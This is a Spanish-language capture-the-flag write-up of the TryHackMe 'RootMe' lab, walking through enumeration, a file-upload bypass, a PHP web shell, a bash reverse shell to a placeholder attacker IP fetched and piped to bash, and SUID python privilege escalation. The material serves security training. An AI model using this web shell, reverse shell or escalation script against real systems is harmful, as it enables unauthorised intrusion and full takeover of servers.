pentesting

Máquina RootMe — TryHackMe

Writeup de la máquina RootMe en TryHackMe.

#tryhackme#pentesting#ctf

Primero verificamos si tenemos conexión a la máquina para poder iniciar un scaneo de namp. Mandamos 2 trazas icmp a la máquina objetivo.

rootme_traza

Por ver que la TTL=63 podemos casi estar seguros que se trata de una máquina Linux, y vemos que sí llega, ahora haremos un scaneo de nmap.

scan_rootme

Podemos ver qué puertos abiertos tiene:

puertos_rootme

Recordemos que las versiones de SSH de 7.7 o inferior son vulnerables a una enumeración de usuarios y contraseñas. Ahora podemos ver el puerto 80, por lo cual yo puedo acceder a este servidor web, poniendo la ip 10.10.142.144:80 y debería poder acceder sin problema, al menos que esto se esté haciendo uso de virtual hosting. Para saber un poco sobre la estructura de la página podemos utilizar whatweb que es como un Wappalizer pero este en línea de comandos, que será lo que haremos a continuación.

whatweb_rootme

Ahora podemos ir al sitio y revisar que hay.

sitio_rootme

Como no vemos nada interesante, lo que haremos será un ataque de fuerza bruta a los subdirectorios del dominio para que podría ayudarnos a indagar más por el sitio web. en este caso quiero hacerlo con WFUZZ y con DIRB para que diferencia hay entre ellas, pero se puede utilizar cualquiera de las dos.

Fuerza bruta con dirb http://10.10.140.144/

dirb_rootme

Para WFUZZ descargué un diccionario de github, el cual dejo a continuación wget https://raw.githubusercontent.com/daviddias/node-dirbuster/master/lists/directory-list-2.3-medium.txt

wfuzz_rootme

y con ese diccionario es con el trabajaré en wfuzz. En este caso fué mucho más rápido wfuzz. Y lo interesante que encontramos fué:

wfuzz_rootme1

Ahora intentaremos a acceder a los directorios para ver que hay de interesante.

uploads_rootme

Aquí no vemos nada ineteresante, pero vamos a ver a panel.

panel_rootme

Aquí podemos observar que nos deja subir algunos, archivos, pero vamos a darle un vistazo para ver si hay alguna restricción de tipo de archivos.

En este caso cree un archivo de texto, donde mandé un hola amigos y pude verlo reflejado en uploads, lo que ahora quedará hacer es ver si podemos subir archivos php para así poder obtener una reverse shell remota.

rootme1

Para esto sabemos que es un servidor apache2, el cual nos permite ejecutar código con extensiones php y html, entonces ya sabemos que php es el backend y html el fronted, el que nos ineteresa más es el backend

Entonces haremos un archivo php el cual nos permita obetener ejecución de código remoto.

<?php

- echo "<pre>" . shell_exec($_REQUEST['cmd']). "</pre>";
?>

Este código php nos dará la manera de ejecutar código de manera remota, no es lo mismo un shell que ejecución de código remoto. Una vez teniendo este código, debemos subirlo como phtml, para después ingresar al archivo y poder ejecutar comandos de manera remota. Por ejemplo aquí hay una manera de escribir la sentencia para un ipconfig.

url_code_rootme

el código lo ponemos en la url poniendo en seguida de phtml ?cmd=whoami ejemplo de código de ejecución whoami.

Ahora para poder tener un rever shell debemos crear un servidor en python y subir un archivo, en este caso el archivo se llamará index.html el cual contendrá el siguiente código.


- #!/bin/bash

- bash -i >& /dev/tcp/<ATTACKER-IP>/1234 0>&1

Una vez que tengas el archivo es recomendable dejarlo en una carpeta que esté sola para el archivo, entrar a la carpeta, abrir una terminal ahí mismo en la carpeta y levantar el servidor python de la siguiente manera:

python3 -m http.server 80

Donde decimos que levante un servidor http en el puerto 80. Ahora este lo mandaremos llamar desde el sitio web donde ya tenemos ejecución de código de remota con el comando curl, pero antes de esto, debemos poner nuestro puerto en escucha con el siguiente comando:

nc -nlvp 1234

Y ahora sí, podemos obtener la reverse shell como se muestra a continuación: reverse_shell_rootme

le tenemos que decir que debe ser interpretado por bash | bash y esto debe que verse como cargando siempre y quiere decir que ya obtuvimos la reverse shell como se meustra a continuación.

reverse_shell_rootme2

Con esto ya podemos hacer varias cosas, por ejemplo, yo me descargué una shell interactiva programada en php que ya está con tratamiento TTY y funciona como shell de ejecución remota, no es lo mismo que reverse shell, entonces para poder hacer esto, subí el código php, el archivo llamado shell.php a mi servidor para que desde la reverse shell la pueda descargar la máquina objetivo, y después poder abrirla.

rootme2

Ahí podemos observar el archivo shell.php

rootme3

Lo abrimos y podemos obtener un shell de ejecución de código remota.

rootme4

Ahora haremos una escalación de privilegios. Para esto podemos ver un comando el cual nos permitirá encontrar archivos que nos permiten ejecutar como su o mejor dicho root, el comando es el siguiente:

find / -perm -u=s -type f 2>/dev/null

y aquí podemos ver que podemos ejecutar python como si fureamos root.

rootme5

Entonces podríamos abrir una terminal y probablemente ahí mismo hacer el archivo pero no podemos abrir un nano. Entonces, lo que haremos es crear el archivo en nuestro servidor y que lo descargue la máquina victima.

el archivo que pondremos en el servidor es:

import os

os.setuid(0)
os.system('bash')

# queremos un usuario root, el 0 es el id de root
# y queremos que nos des una terminal

rootme6

Aquí podemos ver que ya vamos a jalar el archivo de nuestra máquina local.

rootme7

Ahora lo ejecutamos de la siguiente manera.

escalar_rootme

y vemos que ya somos usuarios root, ahora lo que queda es hacer un Tratamiento de la TTY para poder tener una buena shell.

rootme_root